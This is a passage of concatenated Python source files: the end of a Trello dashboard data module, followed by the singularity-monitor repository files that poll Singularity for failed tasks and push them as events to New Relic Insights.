Progress' Sort: Due Date Extra Fields: type """ filtered = {} for member_name, card_list in self.cards_by_member.items(): filtered[member_name] = [] for card in card_list: if card.list_id in [self.lists_by_name[LIST_IN_PROGRESS].id]: filtered[member_name].append(card) add_card_types(filtered[member_name], self.task_label_names) filtered[member_name].sort(key=sort_cards_by_due) return filtered def backlog_products(self): """ Cards: [product label, cards] for 'Backlog' Sort: Due Date Extra Fields: type """ return self._list_label_filter([self.lists_by_name[LIST_BACKLOG].id], self.product_label_names) def backlog_activities(self): """ Cards: [task label, cards] for 'Backlog' Sort: Due Date Extra Fields: type """ return self._list_label_filter([self.lists_by_name[LIST_BACKLOG].id], self.task_label_names) def backlog_epics(self): """ Cards: [epic label, cards] for 'Backlog' Sort: Due Date Extra Fields: type """ return self._list_label_filter([self.lists_by_name[LIST_BACKLOG].id], self.epic_label_names) def backlog_team(self): """ Cards: [member name, cards] for 'Backlog' Sort: Due Date Extra Fields: type """ filtered = {} for member_name, card_list in self.cards_by_member.items(): filtered[member_name] = [] for card in card_list: if card.list_id in [self.lists_by_name[LIST_BACKLOG].id]: filtered[member_name].append(card) add_card_types(filtered[member_name], self.task_label_names) filtered[member_name].sort(key=sort_cards_by_due) return filtered def month_list(self): """ Returns a tuple of [name, id] for all monthly highlights lists """ monthly_list = [] for l in self.archive_lists: if l.name.startswith('Highlights'): name = l.name[len('Highlights - '):] monthly_list.append([name, l.id]) return monthly_list def month_highlights(self, list_id): """ Cards: all cards from the given list Sort: Type Extra Fields: type """ trello_list = self.archive_lists_by_id[list_id] highlight_label_names = self.task_label_names + self.epic_label_names cards_by_label = self._list_label_filter([list_id], highlight_label_names, label_cards=self.archive_cards_by_label) # Add extra data for each card for card_list in cards_by_label.values(): add_card_types(card_list, highlight_label_names) pull_up_custom_fields(card_list) # Summarize monthly data stats = { 'Event Attendance': 0, 'Customer Attendance': 0, } # Event Attendance event_attendance_cards = \ cards_by_label.get(LABEL_CONFERENCE_TALK, []) +\ cards_by_label.get(LABEL_CONFERENCE_WORKSHOP, []) +\ cards_by_label.get(LABEL_LIVE_STREAM, []) for card in event_attendance_cards: if card.attendees: stats['Event Attendance'] += card.attendees # Customer Attendance for card in cards_by_label.get(LABEL_CUSTOMER, []): if card.attendees: stats['Customer Attendance'] += card.attendees return cards_by_label, trello_list.name, stats def customer_attendees(self): labels = (LABEL_CUSTOMER, ) return self._process_attendees_list(labels) def all_attendees(self): labels = (LABEL_CONFERENCE_TALK, LABEL_CONFERENCE_WORKSHOP, LABEL_CUSTOMER, LABEL_LIVE_STREAM) return self._process_attendees_list(labels) def _process_attendees_list(self, labels): month_cards = {} month_data = {} for month_list_id in self.highlights_2021_list_ids: # Parse month name out of the list name month_list_name = self.archive_lists_by_id[month_list_id].name month_name = month_list_name.split(' ')[2] # Initialize the month aggregate data month_data[month_name] = { 'attendees': 0 } # Get the relevant cards for the month month_by_labels = self._list_label_filter([month_list_id], labels, label_cards=self.archive_cards_by_label) all_cards_for_month = [] for cards in month_by_labels.values(): all_cards_for_month += cards # For each card, pull up the type information for simplicity add_card_types(all_cards_for_month, labels) # For each card, pull the attendees up to the top level for simplicity for c in all_cards_for_month: # Figure out the event attendance c.attendees = 0 # default in case we don't have these values if len(c.custom_fields) > 0: for field in c.custom_fields: if field.name == 'Attendees': c.attendees = int(field.value) # Increment the monthly count month_data[month_name]['attendees'] += c.attendees # Store the results month_cards[month_name] = all_cards_for_month return month_cards, month_data def _list_label_filter(self, id_list, label_list, label_cards=None): label_cards = label_cards or self.cards_by_label filtered = {} for label, card_list in label_cards.items(): if label not in label_list: continue filtered[label] = [] for card in card_list: if card.list_id in id_list: filtered[label].append(card) # Remove the label if there were no matching cards found if len(filtered[label]) == 0: filtered.pop(label) return filtered def sort_cards_by_due(card): """ Sorting key function for sorting a list of cards by their due date. """ if card.due: return card.due else: return '' def sort_cards_by_type(card): """ Sorting key function for card types (as added by add_card_types) """ if len(card.types) > 0: return card.types[0] else: return '' def add_card_types(card_list, accepted_labels): """ Adds a new field named "type" to each card in the given list. The type will be a list of all label names in that card that appear in the list of provided acceptable labels. If the card has no labels or none match, the type field will be an empty list. """ for c in card_list: card_types = [] if c.labels: card_types = [l.name for l in c.labels if l.name in accepted_labels] c.types = card_types def pull_up_custom_fields(card_list): """ For each of the custom fields we use, pull them up to the card level for simplicity. """ for c in card_list: # Establish defaults c.attendees = None c.content_url = None if len(c.custom_fields) > 0: for field in c.custom_fields: if field.name == 'Attendees': c.attendees = int(field.value) elif field.name == 'URL': c.content_url = field.value
{"/dashboard/routes.py": ["/dashboard/data.py"]}
70,367
Nitro/singularity-monitor
refs/heads/master
/sgmon/event.py
import json from sgmon.http import HTTPClient from sgmon.log import get_logger from sgmon.task import TaskManager logger = get_logger(__name__) class Insights(object): def __init__(self, url, key, event_type): self.url = url self.key = key self.event_type = event_type def push_event(self, task): if task.get("pushed"): return True headers = { "X-Insert-Key": self.key, "Content-Type": "application/json", } payload = { "eventType": self.event_type, "timestamp": str(task["updatedAt"]), "version": 1, } manager = TaskManager() for k in task["taskId"]: payload[k] = task["taskId"][k] for k in ["updatedAt", "lastTaskState"]: payload[k] = str(task[k]) logger.debug("Task data: {0}".format(json.dumps(payload, indent=4))) client = HTTPClient(self.url) client.set_headers(headers) resp = client.post(json.dumps(payload)) logger.info("Post response: {0}".format(resp)) logger.debug("Task '{0}' pushed".format(payload["id"])) manager.remove_task(task) return True def push_events(self, tasks): if len(tasks) == 1 and isinstance(tasks[0], dict): task = tasks[0] return self.push_event(task) headers = { "X-Insert-Key": self.key, "Content-Type": "application/json", } logger.debug("Number of tasks to post: {0}".format(len(tasks))) payloads = [] manager = TaskManager() for task in tasks: payload = { "eventType": self.event_type, "timestamp": str(task["updatedAt"]), "version": 1, } for k in task["taskId"]: payload[k] = task["taskId"][k] for k in ["updatedAt", "lastTaskState"]: payload[k] = str(task[k]) payloads.append(payload) manager.remove_task(task) client = HTTPClient(self.url) client.set_headers(headers) resp = client.post(json.dumps(payloads)) logger.info("Post batch response: {0}".format(resp)) return True
{"/sgmon/event.py": ["/sgmon/http.py", "/sgmon/log.py", "/sgmon/task.py"], "/sgmon/http.py": ["/sgmon/log.py"], "/sgmon/monitor.py": ["/sgmon/event.py", "/sgmon/http.py", "/sgmon/log.py", "/sgmon/task.py", "/sgmon/utils.py", "/sgmon/nr.py"], "/sgmon/health.py": ["/sgmon/task.py"], "/sgmon/nr.py": ["/sgmon/log.py"]}
70,368
Nitro/singularity-monitor
refs/heads/master
/sgmon/http.py
from sgmon.log import get_logger import requests from requests.exceptions import RequestException logger = get_logger(__name__) class HTTPClientError(Exception): pass def handle_exception(func): """ Decorator to catch exception """ def wrapped(*args, **kwargs): try: return func(*args, **kwargs) except RequestException as err: raise HTTPClientError("Exception into {}(): {}".format( func.__name__, err)) return wrapped class HTTPClient(object): def __init__(self, url): self.url = url self.ses = requests.Session() def set_headers(self, headers): self.ses.headers.update(headers) def has_failed(self, response): status_code = str(response.status_code) return status_code.startswith('4') or \ status_code.startswith('5') @handle_exception def get(self): response = self.ses.get(self.url) if response.status_code != 200: return [] logger.info("Get success: {}".format(response)) return response.json() @handle_exception def post(self, data): response = self.ses.post(self.url, data=data) if self.has_failed(response): logger.error("Post failed: %s", response) response.raise_for_status() return response.text
{"/sgmon/event.py": ["/sgmon/http.py", "/sgmon/log.py", "/sgmon/task.py"], "/sgmon/http.py": ["/sgmon/log.py"], "/sgmon/monitor.py": ["/sgmon/event.py", "/sgmon/http.py", "/sgmon/log.py", "/sgmon/task.py", "/sgmon/utils.py", "/sgmon/nr.py"], "/sgmon/health.py": ["/sgmon/task.py"], "/sgmon/nr.py": ["/sgmon/log.py"]}
70,369
Nitro/singularity-monitor
refs/heads/master
/setup.py
from setuptools import setup, find_packages version = '0.0.1' setup( name='singularity-monitor', version=version, description='Singularity Monitor', url='https://github.com/Nitro/singularity-monitor', packages=find_packages(), install_requires=["requests", "newrelic"], zip_safe=False, entry_points=""" [console_scripts] singularity-monitor = sgmon.monitor:main """ )
{"/sgmon/event.py": ["/sgmon/http.py", "/sgmon/log.py", "/sgmon/task.py"], "/sgmon/http.py": ["/sgmon/log.py"], "/sgmon/monitor.py": ["/sgmon/event.py", "/sgmon/http.py", "/sgmon/log.py", "/sgmon/task.py", "/sgmon/utils.py", "/sgmon/nr.py"], "/sgmon/health.py": ["/sgmon/task.py"], "/sgmon/nr.py": ["/sgmon/log.py"]}
70,370
Nitro/singularity-monitor
refs/heads/master
/sgmon/monitor.py
import datetime import os import sys import time import itertools import threading from sgmon.event import Insights from sgmon.http import HTTPClient from sgmon.log import get_logger from sgmon.task import TaskManager from sgmon.utils import env_lookup from sgmon.nr import agent, init_newrelic_agent from sgmon import health logger = get_logger(__name__) DEBUG = False if DEBUG: import http.client http.client.HTTPConnection.debuglevel = 1 TASK_STATES = [ "TASK_ERROR", "TASK_FAILED", "TASK_KILLED", "TASK_LOST", ] SINGULARITY_URL = env_lookup("SINGULARITY_URL", "Singularity URL") TASK_ENDPOINT = SINGULARITY_URL TASK_API = "/api/history/tasks?lastTaskStatus={state}" TASK_URL = TASK_ENDPOINT + TASK_API PERIOD = os.environ.get("PERIOD", 60) NEWRELIC_ACCOUNT = env_lookup("NEWRELIC_ACCOUNT_ID", "New Relic account id") NEWRELIC_API = "/v1/accounts/{}/events".format(NEWRELIC_ACCOUNT) NEWRELIC_INSIGHTS_KEY = env_lookup("NEWRELIC_INSIGHTS_KEY", "New Relic Insights api key") NEWRELIC_ENDPOINT = "https://insights-collector.newrelic.com" EVENT_TYPE = "SingularityTaskEvent" NEWRELIC_URL = NEWRELIC_ENDPOINT + NEWRELIC_API def fetch_tasks_state(url, state): application = agent.application() name = "fetch-{0}".format(state.lower().replace("_", "-")) with agent.BackgroundTask(application, name=name, group="Task"): try: url = url.format(state=state) client = HTTPClient(url) logger.debug("Fetching tasks state from {}".format(url)) return client.get() except Exception as err: logger.exception("Exception when fetching tasks: {}".format(err)) return [] def sorted_updated(json): try: return int(json["updatedAt"]) except KeyError: return 0 @agent.background_task(name="mainloop", group="Task") def loop_forever(): insights = Insights(NEWRELIC_URL, NEWRELIC_INSIGHTS_KEY, EVENT_TYPE) manager = TaskManager() while True: now = int(datetime.datetime.utcnow().strftime("%s")) period = int(PERIOD) url = TASK_URL + "&updatedAfter={0}".format(now - period) tasks_events = [] for state in TASK_STATES: tasks_events.append(fetch_tasks_state(url, state)) tasks_events = itertools.chain.from_iterable(tasks_events) for task in sorted(tasks_events, key=sorted_updated): if task["updatedAt"] > now - period: if task not in manager.get_tasks(): task["pushed"] = False manager.add_task(task) application = agent.application() with agent.BackgroundTask(application, name="insights-push", group="Task"): tasks_to_push = manager.get_tasks() insights.push_events(tasks_to_push) logger.info("Processed {0} tasks".format(len(tasks_to_push))) time.sleep(period) def main(): init_newrelic_agent() try: server_thread = threading.Thread(target=health.serve_forever, name="server") server_thread.start() loop_forever() except KeyboardInterrupt: sys.exit(1) return 0 if __name__ == "__main__": sys.exit(main())
{"/sgmon/event.py": ["/sgmon/http.py", "/sgmon/log.py", "/sgmon/task.py"], "/sgmon/http.py": ["/sgmon/log.py"], "/sgmon/monitor.py": ["/sgmon/event.py", "/sgmon/http.py", "/sgmon/log.py", "/sgmon/task.py", "/sgmon/utils.py", "/sgmon/nr.py"], "/sgmon/health.py": ["/sgmon/task.py"], "/sgmon/nr.py": ["/sgmon/log.py"]}
70,371
Nitro/singularity-monitor
refs/heads/master
/sgmon/utils.py
import os import sys def env_lookup(key, msg=""): try: value = os.environ[key] return value except KeyError: print("{} not found, exiting...\n".format(msg), file=sys.stderr) sys.exit(1)
{"/sgmon/event.py": ["/sgmon/http.py", "/sgmon/log.py", "/sgmon/task.py"], "/sgmon/http.py": ["/sgmon/log.py"], "/sgmon/monitor.py": ["/sgmon/event.py", "/sgmon/http.py", "/sgmon/log.py", "/sgmon/task.py", "/sgmon/utils.py", "/sgmon/nr.py"], "/sgmon/health.py": ["/sgmon/task.py"], "/sgmon/nr.py": ["/sgmon/log.py"]}
70,372
Nitro/singularity-monitor
refs/heads/master
/sgmon/task.py
import shelve import threading class TaskManager(object): _instance = None def __new__(cls, *args, **kwargs): if getattr(cls, '_instance') is None: cls._instance = super(TaskManager, cls).__new__( cls, *args, **kwargs) return cls._instance def __init__(self): self._lock = threading.Lock() self._db_path = "./tasks.db" with shelve.open(self._db_path, writeback=True) as db: if 'tasks' not in db: db['tasks'] = [] def add_task(self, task): with self._lock: with shelve.open(self._db_path, writeback=True) as db: if task not in db['tasks']: db['tasks'].append(task) def remove_task(self, task): with self._lock: with shelve.open(self._db_path, writeback=True) as db: if task in db['tasks']: db['tasks'].remove(task) def get_tasks(self): with shelve.open(self._db_path, flag='r') as db: all_tasks = db['tasks'] return all_tasks
{"/sgmon/event.py": ["/sgmon/http.py", "/sgmon/log.py", "/sgmon/task.py"], "/sgmon/http.py": ["/sgmon/log.py"], "/sgmon/monitor.py": ["/sgmon/event.py", "/sgmon/http.py", "/sgmon/log.py", "/sgmon/task.py", "/sgmon/utils.py", "/sgmon/nr.py"], "/sgmon/health.py": ["/sgmon/task.py"], "/sgmon/nr.py": ["/sgmon/log.py"]}